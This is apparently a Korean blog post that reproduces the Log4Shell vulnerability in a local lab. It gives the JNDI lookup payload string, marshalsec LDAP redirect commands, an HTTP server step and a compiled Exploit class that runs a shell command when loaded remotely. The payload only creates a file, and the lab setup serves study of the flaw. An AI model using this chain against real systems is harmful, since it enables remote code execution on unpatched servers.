
# CVE-2021-44228(Log4Shell) 단계별 재현 가이드 — JDK 8u20, 취약한 Log4j 2.14.1, marshalsec LDAP 서버 및 사용자 정의 페이로드 컴파일 포함
이쪽 이야기가 더 실용성이 있다고 생각합니다(ㅠㅠ)christophetd/log4shell-vulnerable-app
흥미가 생겨 충동적으로 조사한 것뿐이라, 불확실한 부분이나 오류가 있을 것으로 생각됩니다.
부디, 본인 책임으로 부탁드립니다.
linux 환경이라면 동작할 것으로 생각됩니다.
jdk8u191 이후에는 com.sun.jndi.rmi.object.trustURLCodebase 옵션이 추가되어 기본값이 False가 되었습니다.
이 상태에서는 외부에서 준비한 class를 읽어들일 수 없으므로, 이번에는 그 이전 버전을 사용합니다.
(내부 클래스를 읽어들이거나 바이패스할 수 있을까??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
jdk8u20 직접 다운로드
압축을 풀고 적당히 /opt 등에 넣어 둡니다.
log4j 다운로드
압축을 풀고 log4j-api-2.14.1.jar와 log4j-core-2.14.1.jar를 꺼냅니다 (이번에는 log4japp이라는 디렉터리에 넣었습니다).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource 가 없으면 동작하지 않았습니다.
}
}
mbechler/marshalsec
ldap 요청을 Web 쪽으로 리디렉션시킵니다.
mvn clean package -DskipTests
대기 수신 시작
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
marshalsec의 리디렉션 대상도 준비
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
설치한 jdk8u20을 사용해 컴파일
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
설치한 jdk8u20을 사용해 컴파일·실행합니다.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
